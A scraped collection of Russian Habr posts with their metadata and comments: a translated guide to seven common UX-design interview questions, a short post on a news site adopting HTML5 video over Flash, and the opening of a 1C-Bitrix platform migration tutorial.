что у меня нет инструкции, как отвечать на такой вопрос. Вы должны определить это для себя сами. Все, что я могу посоветовать, это быть честным с самим собой. Обозначьте себе, почему вы хотите работать на эту компанию. * * * И последний совет: Не заучивайте свои ответы, иначе будете звучать неубедительно. Просто держите в голове основные пункты, о которых вы бы хотел рассказать на собеседовании. Желаю удачи и напишите в комментариях о результатах прошедших собеседований! От переводчика. Со всеми пожеланиями и замечаниями по поводу перевода прошу обращаться ко мне в личку. Спасибо!
<div xmlns="http://www.w3.org/1999/xhtml"><img src="https://habrastorage.org/r/w780q1/files/f5e/cf8/c44/f5ecf8c443f54ab685634ead22a8e58a.jpg" data-src="https://habrastorage.org/files/f5e/cf8/c44/f5ecf8c443f54ab685634ead22a8e58a.jpg" data-blurred="true"/><br/> <br/> <p>Устраиваться на работу всегда сложно. Невозможно заранее знать ответы на все вопросы, которые вам задаст наниматель. Однако есть несколько общих вопросов, к которым можно подготовиться. Успешные ответы на эти вопросы не гарантируют вам работу, но они <em>увеличат</em> ваши шансы на успех. Помните о том, что ваш ответ должен быть скорректирован в соответствии с описанием вакансии и деятельностью компании.</p><br/> <p>В этой статье я приведу семь основных вопросов на UX собеседовании, а также подскажу, как лучше на них ответить.</p><a name="habracut"></a><br/> <h3>1. Что такое UX дизайн? Зачем он нужен? Как вы объясните процесс UX дизайна?</h3><br/> <h4>Здесь они пытаются выяснить, имеются ли у вас основные знания в UX дизайне.</h4><br/> <p>Даже если этот вопрос довольно общий, на него нужно отвечать конкретно. Сфокусируйтесь на определении того, кем <em>вы</em> являетесь как дизайнер. Ваш ответ должен быть четким и доступным. Представьте, что вы объясняете это 10-летнему ребенку.</p><br/> <p>На вопрос, зачем нужен UX дизайн, постарайтесь показать, что вам нравится то, как компания относится к дизайну. Можно также рассказать историю о вашем отношении к дизайну и о важности ориентации на потребителя.<br/> <p>При ответе на вопрос «Как вы объясните процесс UX дизайна?» сфокусируйтесь на следующих областях:</p><br/> <ul> <li><a href="http://www.uxbooth.com/articles/complete-beginners-guide-to-design-research/" rel="nofollow noopener">Исследование пользователей (англ.)</a></li> <li>Юзабилити</li> <li>Информационная архитектура</li> <li>Пользовательский интерфейс (User Interface Design)</li> <li><a href="http://www.uxbooth.com/articles/complete-beginners-guide-to-interaction-design/" rel="nofollow noopener">Проектирование взаимодействия (Interaction Design) (англ.)</a></li> <li><a href="http://johnnyholland.org/2009/06/what-is-an-experience-strategy/" rel="nofollow noopener">Стратегия опыта (Experience Strateg) (англ.)</a></li> </ul><br/> <p>Совет: При определении UX дизайна сфокусируйтесь на важности определения пользователя, для которого вы создаете продукт. Обычно это означает, что UX дизайнер должен проводить опросы, опрашивать целевую аудиторию для сбора полезных данных.</p><br/> <br/> <h3>2. Каков ваш процесс создания дизайна? Опишите методы, которые вы используете.</h3><br/> <h4>Здесь они пытаются выяснить, каковы вы на деле.</h4><br/> <p>Когда вы начнете объяснять процесс создания дизайна, то можете либо описать потенциальный подход к типичному проекту (хорошо), либо показать, как вы работали над проектами в прошлом (лучше). Расскажите о своих проектах через истории:</p><br/> <ul> <li>Следуйте определенным этапам: предпосылки проекта, возможности, процесс, взлеты и падения, конечный результат.</li> <li><em>Будьте конкретны</em> при описании шагов, которые вы предприняли от концепции до конечного продукта.</li> <li>Примите во внимание контекст вашего дизайна. Различные условия UX требуют разных UX процессов. Ваша сильная сторона будет заключаться в определении процесса, который в наибольшей степени подходит при той или иной ситуации.</li> </ul><br/> <p>Не бойтесь того, что ваш процесс будет отличаться от методов работы других дизайнеров. Главное — показать <em>логическое обоснование</em> того, почему вы решили именно так выполнить задачу.</p><br/> <p>Совет: Было бы неплохо, если бы вы рассказали о подходе, ориентированном на пользователя, и о тщательном анализе как целей пользователей и бизнеса. Еще более эффективно будет показать это в рамках <em>конкретного</em> проекта.</p><br/> <img src="https://habrastorage.org/r/w780q1/getpro/habr/post_images/921/c31/147/921c311476fba82218b25da59cf044a7.jpg" alt="user-centered-design" data-src="https://habrastorage.org/getpro/habr/post_images/921/c31/147/921c311476fba82218b25da59cf044a7.jpg" data-blurred="true"/><br/> <br/> Источник: <a href="http://blog.usabilla.com/a-cry-for-looking-to-other-methods-for-user-centered-design/" rel="nofollow noopener">Usabilla</a></p><br/> <p>Кроме того, в своем рассказе затроньте следующие темы в контексте ваших проектов:</p><br/> <ul> <li><i>Анализ пользователей</i>: Какие методы вы использовали? Почему именно эти методы?</li> <li><a href="https://en.wikipedia.org/wiki/Persona_%28user_experience%29" rel="nofollow noopener"><em>Персонаж (User Personas)</em></a>: Как вы создавали персонажей? Сколько персонажей вы создали? Как вам это помогло?</li> <li><a href="http://bigdoor.com/blog/2013/11/01/a-quick-guide-to-customer-journey-mapping/" rel="nofollow noopener"><em>Карта путешествия потребителя (Customer Journey Map)</em></a><em> и</em> <a href="https://www.smashingmagazine.com/2012/01/stop-designing-pages-start-designing-flows/" rel="nofollow noopener"><em>Путь пользователя (User Flows)</em></a>: Что включает ваша карта?</li> <li><em>Прототипирование:</em> Опишите, как вы перешли от первичному прототипа (например, скетч на листке бумаги) к качественному прототипу (например, интерактивные прототипы в <a href="http://www.adobe.com/products/experience-design.html" rel="nofollow noopener">Adobe XD</a>). Сколько и какие итерации были сделаны во время прототипирования? С какими трудностями вы столкнулись?</li> <li><em>Метрики и аналитика</em>: Объясните с помощью количественных данных увеличение числа регистраций, продаж или других изменений в результате ваших проектных решений.</li> </ul><br/> <h3>3. Как вы работаете с другими дизайнерами, программистами, руководителями проектов?</h3><br/> <h4>Здесь они пытаются выяснить, вписываетесь ли вы в культуру компании.</h4><br/> <p>Ваш интервьюер хочет понять ваш стиль работы. Дизайн — это командный вид спорта и, как UX дизайнер, вы должны знать, как эффективно сообщать о своих решениях всей команде.</p><br/> <p>Имейте в виду, что каждый член команды, вероятно, видит данный проект со своей точки зрения. Однако вам нужно уметь общаться со всеми ими, чтобы быстро предотвратить любые проблемы или недоразумения.</p><br/> <img src="https://habrastorage.org/r/w780q1/files/1b4/c53/4a6/1b4c534a6bd244e9ab480a316bac25f9.jpg" data-src="https://habrastorage.org/files/1b4/c53/4a6/1b4c534a6bd244e9ab480a316bac25f9.jpg" data-blurred="true"/><br/> Источник: <a href="http://melissaperri.com/2016/01/17/pmvsux/#.WMlQpG997IU" rel="nofollow noopener">Melissa Perri</a><br/> <br/> <p>Умение <em>сопереживать и понимать мотивации</em> коллег — важное качество. У разработчиков, продакт менеджеров и дизайнеров различиные цели и задачи. Если вы продемонстрируете, что вы их слушаете, то вас хорошо примут:</p><br/> <ul> <li><em>Разработчики — </em>Для эффективного сотрудничества с разработчиками попытайтесь понять технологический процесс и получить хорошее представление об ограничениях и возможностях.</li> <li><em>Менеджеры продукта — </em>Чтобы хорошо работать с менеджерами продуктов, не забудьте преобразовать прототипы в детальное описание, как правило, в виде подробных историй.</li> <li><em>Дизайнеры — </em>Дизайнеры обычно долго сравнивают и сопоставляют различные варианты, а затем устраивают структурированные критические сессии. typically have continuous cycles of pairing and siloing, followed by structured critique sessions. Ключом к успеху является самосознание того, как вы работаете и демонстрация гибкости.</li> </ul><br/> <p>Совет: Отвечая на этот вопрос, попросите своего интервьюера описать текущую структуру команды, роли и существующие процессы. Спросите про проблемы, с которыми они сталкиваются в настоящее время. Вы можете представить свой опыт в рамках возможного решения проблем компании. Пусть интервьюер увидит, насколько вы хотите применить свои умения и опыт не только в своей должности, но и для успеха самой компании.</p><br/> <br/> <h3>4. Как вы решаете, какие функции добавить вашему продукту?</h3><br/> <h4>Здесь они пытаются выяснить, можете ли вы подтвердить или опровергнуть гипотезу для создания нового решения.</h4><br/> <p>Этот вопрос очень сложный, так как зависит от контекста. Если вас спрашивают в рамках разработки нового софта, вы можете рассказать, как разработать минимально жизнеспособный продукт (<a href="https://en.wikipedia.org/wiki/Minimum_viable_product" rel="nofollow noopener">MVP</a> англ.).</p><br/> <img src="https://habrastorage.org/r/w780q1/getpro/habr/post_images/54a/378/007/54a378007388e2344811906933192c75.jpg" data-src="https://habrastorage.org/getpro/habr/post_images/54a/378/007/54a378007388e2344811906933192c75.jpg" data-blurred="true"/><br/> Источник: <a href="https://brainhub.eu/blog/what-is-mvp/" rel="nofollow noopener">Brainhub</a><br/> <br/> <p>Если вопрос задается в контексте существующего продукта, вам следует сосредоточиться на основных принципах стратегии продукта (<a href="http://blog.invisionapp.com/how-to-develop-a-product-strategy/" rel="nofollow noopener">product strategy</a> (англ.)). Прежде чем переходить к конкретным функциям, вам нужно будет составить четкую картину бизнес-целей и потребностей пользователей. Вы должны быть готовы ответить на следующие вопросы:</p><br/> <ul> <li>Кто ваш пользователь?</li> <li>Каковы цели пользователей?</li> <li>Зачем пользователю эта функция? Какую проблему она решает?</li> </ul><br/> <p>Совет: Отличная возможность, чтобы показать, как вы будете использовать исследования пользователей для тестирования решений. Часто при нерешаемой проблеме сбор многих пользовательских данных может помочь продвинуться вперед. После того, как будет собрано достаточное количество данных, и цели пользователя будут проверены, вы сможете определить, какие новые функции лучше всего соответствуют бизнес-целям.</p><br/> <br/> <h3>5. Расскажите о проекте, которым вы гордитесь больше всего.</h3><br/> <h4>Здесь они пытаются выяснить ваши сильные и слабые стороны.</h4><br/> <p>Это хитрый вопрос. Отвечая на него, кандидаты обычно чувствуют себя спокойно. Однако затем интервьюер задает дополнительные вопросы о процессе, мышлении, взаимодействии с другими членами команды. Вопрос позволяет оценить навыки кандидата не спрашивая об этом напрямую. Поэтому лучше всего отвечать правдиво и четко. Не надо преувеличивать свой вклад в проект.</p><br/> <p>Совет: Обратите внимание, что вопрос не содержит слово «UX». Поэтому не бойтесь рассказать о проектах в других областях.</p><br/> <br/> <h3>6. Расскажите о UX проекте, который пошел не так, как планировалось.</h3><br/> <h4>Здесь они пытаются выяснить, можете ли вы критически оценивать работу.</h4><br/> Ни в коем случае <em>не</em> делайте вид, что у вас никогда не было подобных проектов. Делать ошибки — это обычная часть рабочей жизни. Важно показать, <em>как</em> вы с ними справились. Нужно найти честный пример, который покажет:<br/> <br/> <ul> <li>Что пошло не так</li> <li>Почему это пошло не так</li> <li>Что вы сделали для решения проблемы</li> <li>Чему вы научились</li> </ul><br/> <p>Совет: Важно признать ошибку и затем представить эффективное решение проблемы. Все мы учимся на ошибках.</p><br/> <h3>7. Каково, на ваш взгляд, будущее UX дизайна?</h3><br/> <h4>Здесь они пытаются выяснить, думаете ли вы наперед.</h4><br/> <p>Используйте этот вопрос как возможность показать свою любовь к UX дизайну и его потенциалу. Вот пару тем, на которых вы можете сфокусироваться. <a href="http://macaw.co/" rel="nofollow noopener">Развитие новых инструментов прототипирования, которые экономят время разработчикам и дизайнерам (англ.)</a>. <a href="https://medium.com/salesforce-ux/7-things-every-designer-needs-to-know-about-accessibility-64f105f0881b#.2ywfrl178">Дизайн для универсального доступа, который позволяет пользователям с разными возможностями успешно использовать ваш интерфейс (англ.).</a></p><br/> <p>Совет: Этот вопрос дает отличную возможность рассказать о вашем видении будущего виртуальной или дополненной реальности.</p><br/> <br/> <img src="https://habrastorage.org/getpro/habr/post_images/579/085/b84/579085b84b55848e9443a3d56e170c83.gif" data-src="https://habrastorage.org/getpro/habr/post_images/579/085/b84/579085b84b55848e9443a3d56e170c83.gif"/><br/> Подъем виртуальной реальности. Источник: <a href="https://ramotion.com/" rel="noopener nofollow">Ramotion</a><br/> <br/> <h3>Бонус: Откуда вы черпаете вдохновение? За кем в этой индустрии вы следите?</h3><br/> <h4>Здесь они пытаются выяснить, что вас вдохновляет и мотивирует.</h4><br/> <p>Расскажите о блогах и книгах, которые вы читаете, конференциях, которые вы посетили, и личности, за которыми вы следите.</p><br/> <p>Список моих любимых блогов (в свободном порядке):</p><br/> <ul> <li><a href="https://alistapart.com/blog" rel="nofollow noopener">Alistapart</a></li> <li><a href="https://designmodo.com/" rel="nofollow noopener">Designmodo</a></li> <li><a href="http://www.uxbooth.com/" rel="nofollow noopener">UX Booth</a></li> <li><a href="https://uxmastery.com/" rel="nofollow noopener">UXMastery</a></li> <li><a href="http://www.dtelepathy.com/blog/" rel="nofollow noopener">Digital Telepathy</a></li> <li><a href="http://52weeksofux.com/" rel="nofollow noopener">52 Weeks of UX</a></li> <li><a href="http://www.uxmatters.com/" rel="nofollow noopener">UXMatters</a></li> <li><a href="http://uxmyths.com/" rel="nofollow noopener">UX Myths</a></li> <li><a href="http://blog.usabilla.com/" rel="nofollow noopener">Usabilla</a></li> <li><a href="https://blog.intercom.com/" rel="nofollow noopener">Intercom blog</a></li> <li><a href="https://www.usertesting.com/blog/" rel="nofollow noopener">UserTesting blog</a></li> <li><a href="https://www.nngroup.com/articles/" rel="nofollow noopener">Nielsen Norman Group blog</a></li> <li><a href="https://www.smashingmagazine.com/" rel="nofollow noopener">Smashing Magazine</a></li> </ul><br/> <p>За кем я слежу:</p><br/> <ul> <li><a href="https://www.uie.com/" rel="nofollow noopener">Jared Spool</a></li> <li><a href="http://www.lukew.com/ff/" rel="nofollow noopener">Luke Wroblewski</a></li> <li><a href="https://karenmcgrane.com/" rel="nofollow noopener">Karen McGrane</a></li> <li><a href="https://ia.net/topics/" rel="nofollow noopener">Oliver Reichenstein</a></li> <li><a href="https://www.nngroup.com/articles/author/don-norman/" rel="nofollow noopener">Don Norman</a></li> <li><a href="http://www.peterme.com/" rel="nofollow noopener">Peter Merholz</a></li> <li><a href="https://medium.com/@joulee">Julie Zhuo</a></li> </ul><br/> <p>И список литературы для тех, кто хочет углубить свои знания в UX дизайне::</p><br/> <ul> <li><a href="https://www.amazon.com/dp/0465050654" rel="nofollow noopener">The Design of Everyday Things</a> от Don Norman</li> <li><a href="https://www.amazon.com/dp/1118766571/" rel="nofollow noopener">About Face: The Essentials of Interaction Design</a> от Alan Cooper</li> <li><a href="http://shapeofdesignbook.com/" rel="nofollow noopener">The Shape of Design</a> от Frank Chimero</li> <li><a href="https://www.amazon.com/dp/0321767535/" rel="nofollow noopener">100 Things Every Designer Needs to Know About People</a> от Susan Weinschenk</li> <li><a href="http://uxmastery.com/practical-ia/" rel="nofollow noopener">A Practical Guide to Information Architecture</a> от Donna Spencer</li> <li><a href="https://www.amazon.com/dp/0321965515" rel="nofollow noopener">Don’t Make Me Think</a> и <a href="https://www.amazon.com/dp/0321657292" rel="nofollow noopener">Rocket Surgery Made Easy</a> от Steve Krug</li> <li><a href="https://www.amazon.com/dp/0321683684" rel="nofollow noopener">The Elements of User Experience: User-Centered Design for the Web and Beyond</a> от Jesse James Garrett</li> <li><a href="http://abookapart.com/products/designing-for-emotion" rel="nofollow noopener">Designing for Emotion</a> от Aarron Walter</li> <li><a href="https://mitpress.mit.edu/books/designing-interactions" rel="nofollow noopener">Designing Interactions</a> от Bill Moggridge</li> <li><a href="https://gettingreal.37signals.com/" rel="nofollow noopener">Getting Real</a> и <a href="https://www.amazon.com/dp/0307463745/" rel="nofollow noopener">Rework</a> от Jason Fried и David Heinemeier Hansson (Basecamp)</li> <li><a href="http://rosenfeldmedia.com/books/prototyping/" rel="nofollow noopener">Prototyping A Practitioner’s Guide</a> от Todd Zaki Warfel</li> </ul><br/> <h3>Вопроса, которого не хватает</h3><br/> <p>Возможно, вы спросите, почему мой перечень не включает повсеместный вопрос «Почему я должен вас нанимать?». Все потому, что у меня нет инструкции, как отвечать на такой вопрос. Вы должны определить это для себя сами. Все, что я могу посоветовать, это <em>быть честным с самим собой</em>. Обозначьте себе, почему вы хотите работать на эту компанию.</p><br/> <hr/><br/> <p>И последний совет: Не заучивайте свои ответы, иначе будете звучать неубедительно. Просто держите в голове основные пункты, о которых вы бы хотел рассказать на собеседовании.</p><br/> <p>Желаю удачи и напишите в комментариях о результатах прошедших собеседований!</p><br/> <b>От переводчика.</b> Со всеми пожеланиями и замечаниями по поводу перевода прошу обращаться ко мне в личку. Спасибо!</div>
Павел Шиманский (shimapa23)
Nick Babich
https://medium.com/springboard/the-7-questions-youll-be-asked-at-a-ux-design-interview-84f3214e0f29#.gyc34ihiy
<img src="https://habrastorage.org/files/f5e/cf8/c44/f5ecf8c443f54ab685634ead22a8e58a.jpg"/><br/> <br/> <p>Устраиваться на работу всегда сложно. Невозможно заранее знать ответы на все вопросы, которые вам задаст наниматель. Однако есть несколько общих вопросов, к которым можно подготовиться. Успешные ответы на эти вопросы не гарантируют вам работу, но они <em>увеличат</em> ваши шансы на успех. Помните о том, что ваш ответ должен быть скорректирован в соответствии с описанием вакансии и деятельностью компании.</p><br/> <p>В этой статье я приведу семь основных вопросов на UX собеседовании, а также подскажу, как лучше на них ответить.</p>
Устраиваться на работу всегда сложно. Невозможно заранее знать ответы на все вопросы, которые вам задаст наниматель. Однако есть несколько общих вопросов, к которым можно подготовиться. Успешные ответы на эти вопросы не гарантируют вам работу, но они увеличат ваши шансы на успех. Помните о том, что ваш ответ должен быть скорректирован в соответствии с описанием вакансии и деятельностью компании. В этой статье я приведу семь основных вопросов на UX собеседовании, а также подскажу, как лучше на них ответить.
article
1,490,696,314
{ "commentsCount": 3, "favoritesCount": 147, "readingCount": 69573, "score": 7, "votesCount": 11, "votesCountPlus": 9, "votesCountMinus": 2 }
[ "translation" ]
[ "web_design", "ui", "usability", "accessibility", "graph_design" ]
[ "design" ]
[ "ux", "собеседование" ]
7
null
null
{ "id": [ 10159052, 10242552 ], "parent_id": [ null, null ], "level": [ 0, 0 ], "time_published": [ 1491510060, 1496216622 ], "score": [ -1, 0 ], "votes": [ 1, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">Мы тоже собрали <a href=\"https://www.toptal.com/designers/resources\">полезные материалы для дизайнеров</a> (типовые описания вакансий, руководства по найму, вопросы и ответы для интервью, распространенные ошибки, советы и практика) по таким направлениям дизайна как Interactive Design, Mobile App Design, UI Design, UX Design, Visual Design и Web Design. Пользуйтесь! </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Неплохой чеклист. Спасибо!</div>" ], "message_markdown": [ "Мы тоже собрали полезные материалы для дизайнеров (типовые описания вакансий, руководства по найму, вопросы и ответы для интервью, распространенные ошибки, советы и практика) по таким направлениям дизайна как Interactive Design, Mobile App Design, UI Design, UX Design, Visual Design и Web Design. Пользуйтесь!", "Неплохой чеклист. Спасибо!" ], "author": [ "Dmitry Pavlov (dmitry_pavlov)", "dego (dego)" ], "children": [ [], [] ] }
89,479
ru
https://habr.com/ru/post/89479/
Эксперт-ТВ использует HTML5 для видео
Недавно обнаружил на сайте журнала «Эксперт», что видеоролики выложены в HTML5. Это довольно приятная новость для тех, кто пользуется настольным компьютером на базе 64-битной архитектуры и ОС, особенно в случае Линукс, которую корпорация Адобе не сильно жалует. Также это обрадует поборников открытых стандартов, которые привыкли обходиться без зомбоящика. Насколько мне известно, остальные онлайн-СМИ пока используют Flash для видеороликов, поэтому данный шаг сайтостроителей "Эксперта" можно только приветствовать. P. S. Картинка кликабельна.
<div xmlns="http://www.w3.org/1999/xhtml"><p>Недавно обнаружил на <a href="http://expert.ru/">сайте</a> журнала «Эксперт», что видеоролики выложены в HTML5. Это довольно приятная новость для тех, кто пользуется настольным компьютером на базе 64-битной архитектуры и ОС, особенно в случае Линукс, которую корпорация Адобе <a href="http://blogs.gentoo.org/nightmorph/2010/07/20/documentation-status-report/">не сильно жалует</a>. Также это обрадует поборников открытых стандартов, которые привыкли обходиться без зомбоящика.<br/> </p><br/> <p><a href="http://img-fotki.yandex.ru/get/5900/temujin.0/0_6e32c_e970a1a_XXXL.jpg"><img src="http://img-fotki.yandex.ru/get/5900/temujin.0/0_6e32c_e970a1a_L.jpg" width="500" height="297" title="HTML5 на Эксперт-ТВ" alt="HTML5 на Эксперт-ТВ" data-src="http://img-fotki.yandex.ru/get/5900/temujin.0/0_6e32c_e970a1a_L.jpg" data-blurred="true"/></a><br/> </p><br/> Насколько мне известно, остальные онлайн-СМИ пока используют Flash для видеороликов, поэтому данный шаг сайтостроителей "Эксперта" можно только приветствовать.<br/> P. S. Картинка кликабельна.</div>
Микаел Григорян (temujin)
null
null
<p>Недавно обнаружил на <a href="http://expert.ru/">сайте</a> журнала «Эксперт», что видеоролики выложены в HTML5. Это довольно приятная новость для тех, кто пользуется настольным компьютером на базе 64-битной архитектуры и ОС, особенно в случае Линукс, которую корпорация Адобе <a href="http://blogs.gentoo.org/nightmorph/2010/07/20/documentation-status-report/">не сильно жалует</a>. Также это обрадует поборников открытых стандартов, которые привыкли обходиться без зомбоящика.<br/> </p><br/> <p><a href="http://img-fotki.yandex.ru/get/5900/temujin.0/0_6e32c_e970a1a_XXXL.jpg"><img src="http://img-fotki.yandex.ru/get/5900/temujin.0/0_6e32c_e970a1a_L.jpg" width="500" height="297" title="HTML5 на Эксперт-ТВ" alt="HTML5 на Эксперт-ТВ"/></a><br/> </p><br/> Насколько мне известно, остальные онлайн-СМИ пока используют Flash для видеороликов, поэтому данный шаг сайтостроителей &quot;Эксперта&quot; можно только приветствовать.<br/> P. S. Картинка кликабельна.
Недавно обнаружил на сайте журнала «Эксперт», что видеоролики выложены в HTML5. Это довольно приятная новость для тех, кто пользуется настольным компьютером на базе 64-битной архитектуры и ОС, особенно в случае Линукс, которую корпорация Адобе не сильно жалует. Также это обрадует поборников открытых стандартов, которые привыкли обходиться без зомбоящика. Насколько мне известно, остальные онлайн-СМИ пока используют Flash для видеороликов, поэтому данный шаг сайтостроителей "Эксперта" можно только приветствовать. P. S. Картинка кликабельна.
article
1,297,544,041
{ "commentsCount": 13, "favoritesCount": 0, "readingCount": 437, "score": -3, "votesCount": 29, "votesCountPlus": 13, "votesCountMinus": 16 }
[]
[ "it-infrastructure" ]
[ "admin" ]
[ "html5", "flash", "linux", "СМИ" ]
1
tutorial
null
{ "id": [ 3655721, 3655738, 3655778, 3655830, 3655841, 3655843, 3655952, 3656015, 3656126, 3656175, 3656273, 3656453, 3656460 ], "parent_id": [ null, null, 3655738, 3655721, null, 3655830, 3655843, null, null, 3655738, 3656015, 3656015, 3655841 ], "level": [ 0, 0, 1, 1, 0, 2, 3, 0, 0, 1, 1, 1, 1 ], "time_published": [ 1297544668, 1297545098, 1297545973, 1297547249, 1297547547, 1297547564, 1297551412, 1297554171, 1297560973, 1297567574, 1297582016, 1297588606, 1297588755 ], "score": [ 3, 1, 1, 2, 2, 1, 1, 8, 2, 1, 0, -3, 0 ], "votes": [ 3, 1, 1, 2, 2, 1, 1, 8, 2, 1, 2, 5, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">Расскажите им кто-нибудь о html5 плеерах, а то с голым тегом он хуже flash.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Kubuntu 10, Opera 11.01 и Chrome 9.0.597.98 отказались воспроизводить через html5 даже при отключенном флеше. Что я делаю не так?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Мой Хромиум 9.0.597.94. Возможно, в сборке не активированы какие-то опции? Надо на форумах Вашего дистра поспрошать.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Было уже на хабре, вот запрос для гугла:<br/>\r\nhtml5 player|плеер site:habrahabr.ru<br/>\r\nпоследнюю часть можно убрать и увидеть сотню готовых плееров.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Охрененно они его используют, там видимо какой-то JS скрипт, который создает объект video в редких случаях вместо флеш плеера. Спрашивается, и накой хрен это нужно?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Не мне, а им)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">упс :)<br/>\r\nможет заметят совершенно случайно</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Hint: Найдя сайт, использующий html 5 для видео, создайте топик об этом на хабре.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Пустой топик.<br/>\r\nУ меня видео показывает используя флеш-плэер.<br/>\r\nЗЫ: хром 9.послений</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Опера не умеет .mp4, Хром должен бы играть, может, правда где-нибудь что-нибудь надо включить.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">YouTube.com использует HTML5 для видео<br/>\r\n<br/>\r\nНедавно обнаружил на сайте <a href=\"http://www.youtube.com/html5\">www.youtube.com/html5</a>, что видеоролики выложены в HTML5. Это довольно приятная (...)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Этот сайт — СМИ, причем из лучших по России, на мой вкус. Поэтому, я посчитал нужным об этом сообщить. Остальные российские информационные сайты используют, только Flash, но не у всех пользователей он установлен, в силу бажности и дыр. Для пользователей Линукс его использование проблематично.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Возможно там авто-определение на наличие флеша у пользователя. </div>" ], "message_markdown": [ "Расскажите им кто-нибудь о html5 плеерах, а то с голым тегом он хуже flash.", "Kubuntu 10, Opera 11.01 и Chrome 9.0.597.98 отказались воспроизводить через html5 даже при отключенном флеше. Что я делаю не так?", "Мой Хромиум 9.0.597.94. Возможно, в сборке не активированы какие-то опции? Надо на форумах Вашего дистра поспрошать.", "Было уже на хабре, вот запрос для гугла:\nhtml5 player|плеер site:habrahabr.ru\nпоследнюю часть можно убрать и увидеть сотню готовых плееров.", "Охрененно они его используют, там видимо какой-то JS скрипт, который создает объект video в редких случаях вместо флеш плеера. Спрашивается, и накой хрен это нужно?", "Не мне, а им)", "упс :)\nможет заметят совершенно случайно", "Hint: Найдя сайт, использующий html 5 для видео, создайте топик об этом на хабре.", "Пустой топик.\nУ меня видео показывает используя флеш-плэер.\nЗЫ: хром 9.послений", "Опера не умеет .mp4, Хром должен бы играть, может, правда где-нибудь что-нибудь надо включить.", "YouTube.com использует HTML5 для видео\nНедавно обнаружил на сайте www.youtube.com/html5, что видеоролики выложены в HTML5. Это довольно приятная (...)", "Этот сайт — СМИ, причем из лучших по России, на мой вкус. Поэтому, я посчитал нужным об этом сообщить. Остальные российские информационные сайты используют, только Flash, но не у всех пользователей он установлен, в силу бажности и дыр. Для пользователей Линукс его использование проблематично.", "Возможно там авто-определение на наличие флеша у пользователя." ], "author": [ "Яковлев Владимир (nvbn)", "mikenerevarin", "Микаел Григорян (temujin)", "khizhaster (khizhaster)", "outcoldman", "Яковлев Владимир (nvbn)", "khizhaster (khizhaster)", "Макс Истляев (FladeX)", "kitaisc", "kns (kns)", "Shuichi (Shuichi)", "Микаел Григорян (temujin)", "Микаел Григорян (temujin)" ], "children": [ [ 3655830 ], [ 3655778, 3656175 ], [], [ 3655843 ], [ 3656460 ], [ 3655952 ], [], [ 3656273, 3656453 ], [], [], [], [], [] ] }
282,946
ru
https://habr.com/ru/post/282946/
Быстрый переход на новую платформу
Некоторое время назад вышла новая версия e-commerce-платформы для продуктов «1С-Битрикс: Управление Сайтом» и «1С-Битрикс: Энтерпрайз». Мы постарались упростить процесс миграции, но всё же смена платформы — дело ответственное, и некоторые пользователи могут опасаться вносить изменения в свою устоявшуюся, отлаженную систему. Особенно, если сайт достаточно крупный. Поэтому мы решили сделать этот небольшой туториал, в котором как можно нагляднее описали несложный процесс миграции на новую e-commerce-платформу «1С-Битрикс: Управление Сайтом». ### Установка обновлений Для успешной смены платформы нужно, в первую очередь, установить ряд обновлений. В качестве примера возьмём стандартный интернет-магазин с шаблоном по умолчанию. Причём пусть это специально будет старый шаблон, изначально создававшийся не для новой платформы, а для предыдущей, версии 14.5. На этот тестовый магазин «накатим» сразу релизные обновления, без промежуточной установки бета-версий. После завершения установки и обновления страницы видим следующую картину: ### Запуск мастера перехода на новую платформу После установки обновлений необходимо запустить мастер, который переведет интернет-магазин на новую платформу. Ссылку на запуск мастера вы можете найти в первой же зелёной строке (на предыдущей иллюстрации). Чтобы не громоздить тут множество скриншотов, мы записали небольшой ролик, в котором показан процесс миграции магазина на новую платформу: Важные моменты, на которые нужно обратить внимание: Перед запуском мастера обязательно создайте полную резервную копию вашего проекта. Попросите разработчиков, ведущих ваш проект, проверить совместимость их доработок с новой платформой и, по возможности, внести корректировки. Новая платформа была доступна более полугода в виде бета-обновлений, и все, кто заинтересован в совместимости, уже выпустили обновления своих решений. В нашем примере во время перехода была проведена конвертация местоположений. Новая версия местоположений вышла уже более полугода назад, поэтому в вашем мастере такого этапа может и не быть. Это означает, что ранее вы уже перешли на новую версию местоположений. По окончании перехода, вы увидите новые формы управления заказами. Это говорит о том, что переход успешно завершён. ### Установка обновлений после перехода на новую платформу Итак, переход осуществлён, но нужно сделать ещё кое-что. Вернитесь в раздел «Обновления платформы» и установите доступные обновления. Проверка проекта после перехода на новую платформу После установки обновлений для новой платформы проверяем, всё ли работает как нужно: Как вы могли заметить в ролике, компонент оформления заказа в публичном разделе получил новый дизайн. Это пока бета-версия, о которой мы поговорим в одной из будущих статей. Также вскоре мы рассмотрим нововведения, которые появились в платформе.
<div xmlns="http://www.w3.org/1999/xhtml">Некоторое время назад вышла новая версия e-commerce-платформы для продуктов «1С-Битрикс: Управление Сайтом» и «1С-Битрикс: Энтерпрайз».<br/> <br/> Мы постарались упростить процесс миграции, но всё же смена платформы — дело ответственное, и некоторые пользователи могут опасаться вносить изменения в свою устоявшуюся, отлаженную систему. Особенно, если сайт достаточно крупный. Поэтому мы решили сделать этот небольшой туториал, в котором как можно нагляднее описали несложный процесс миграции на новую e-commerce-платформу «1С-Битрикс: Управление Сайтом».<br/> <a name="habracut"></a><br/> <h3>Установка обновлений</h3><br/> Для успешной смены платформы нужно, в первую очередь, установить ряд обновлений. В качестве примера возьмём стандартный интернет-магазин с шаблоном по умолчанию. Причём пусть это специально будет старый шаблон, изначально создававшийся не для новой платформы, а для предыдущей, версии 14.5. <br/> <br/> На этот тестовый магазин «накатим» сразу релизные обновления, без промежуточной установки бета-версий. <br/> <br/> После завершения установки и обновления страницы видим следующую картину: <br/> <br/> <img 